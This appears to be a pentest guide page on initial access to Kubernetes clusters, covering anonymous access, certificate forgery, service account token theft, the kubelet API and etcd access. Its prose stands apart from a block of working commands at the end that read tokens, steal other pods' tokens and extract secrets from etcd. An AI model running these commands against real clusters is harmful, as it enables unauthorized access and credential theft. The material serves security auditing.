This section covers different ways of getting an initial access inside a K8S cluster either as anonymous/unauthenticated or with a foothold on a pod.
Overview
Initial access to Kubernetes clusters can be achieved through various attack vectors, ranging from misconfigurations in authentication mechanisms to exploitation of exposed services. This phase focuses on gaining the first foothold in the cluster.
Anonymous Access
Anonymous access is a rare misconfiguration, but it can occur if excessive access has been granted to the anonymous role.
Obtaining anonymous access on certain API endpoints can lead to sensitive information disclosure.
Anonymous Permission Enumeration:
Exploitation Commands
Certificate Forgery
In Kubernetes, client authentication to the API server can be performed using TLS client certificates. If we gain access to the private key of the cluster Certificate Authority (CA) (ca-key.pem), they can forge valid client certificates and authenticate as any identity they choose, including highly privileged users.
Then create the K8S configuration to use the forged certificate:
Service Account Takeover
Token Presence and Extraction
By default, Kubernetes automatically mounts a service account token into most pods unless explicitly disabled. This token is a JWT used to authenticate to the Kubernetes API server.
At this point, we have valid API credentials.
Authenticated API Enumeration (without kubectl)
Even if kubectl is not present, the token can be used directly with curl to enumerate Kubernetes resources.
Permission Discovery and RBAC Enumeration
When kubectl is available, we can directly access RBAC permissions.
If the service account is bound to cluster-admin or a wildcard role, full cluster compromise is achieved.
Lateral Token Extraction
If the compromised service account has access to other pods, additional tokens can be harvested.
This enables privilege pivoting between service accounts.
Token Extraction from etcd (Critical Misconfiguration)
If etcd is exposed, service account tokens can be extracted directly from cluster storage.
This bypasses pod-level isolation entirely.
Modern Kubernetes versions reject unsigned tokens, but testing is still relevant during audits of legacy clusters. Here our classical JWT pentest methods can be applied.
kubelet API Exploits
Unauthenticated kubelet Access
If you manage to reach to the kubelet API anonymously you might be able to obtain and RCE on pods.
kubelet API Discovery:
Pod Execution via kubelet:
Those commands can also be performed with kubeletctl.
kubelet Certificate Abuse
Being able to access the kubelet certificate will grand you access to the API and thus perform the same actions as described above.
Certificate Extraction:
kubeletctl Usage
etcd Direct Access
Unauthenticated etcd Access
If you manage to reach to the etcd API anonymously you might be able to leak cluster secrets and manipulate user config.
etcd Discovery and Access:
Secret Extraction from etcd:
etcd Data Manipulation
If the RBAC allows you to do so you can modify the user model in etcd and for example grand cluster admin privileges to the anonymous account:
# Test anonymous access to API server
curl -k https://<api_server>:6443/api/v1
# Check anonymous permissions
curl -k https://<api_server>:6443/api/v1/namespaces
# Test specific resources
curl -k https://<api_server>:6443/api/v1/pods
curl -k https://<api_server>:6443/api/v1/secrets
curl -k https://<api_server>:6443/api/v1/nodes
# Using kubectl without credentials
kubectl --server=https://<api_server>:6443 --insecure-skip-tls-verify auth can-i --list
# Check specific permissions
kubectl --server=https://<api_server>:6443 --insecure-skip-tls-verify auth can-i get pods
kubectl --server=https://<api_server>:6443 --insecure-skip-tls-verify auth can-i create pods
# Verify service account token mount
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
# Extract the token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# Extract namespace and CA
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# List pods in the current namespace
curl -s --cacert "$CACERT" \
-H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods | jq
# Exec into another pod and steal its token
kubectl exec -it <pod_name> -- \
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Retrieve service account secrets from etcd
curl -k https://<etcd_ip>:2379/v2/keys/registry/secrets/default/default-token-* \
| jq -r '.node.value' | base64 -d
# Test kubelet read-only API (deprecated)
curl -k http://<node_ip>:10255/pods
# Test kubelet API without authentication
curl -k https://<node_ip>:10250/pods
# Check kubelet configuration
curl -k https://<node_ip>:10250/configz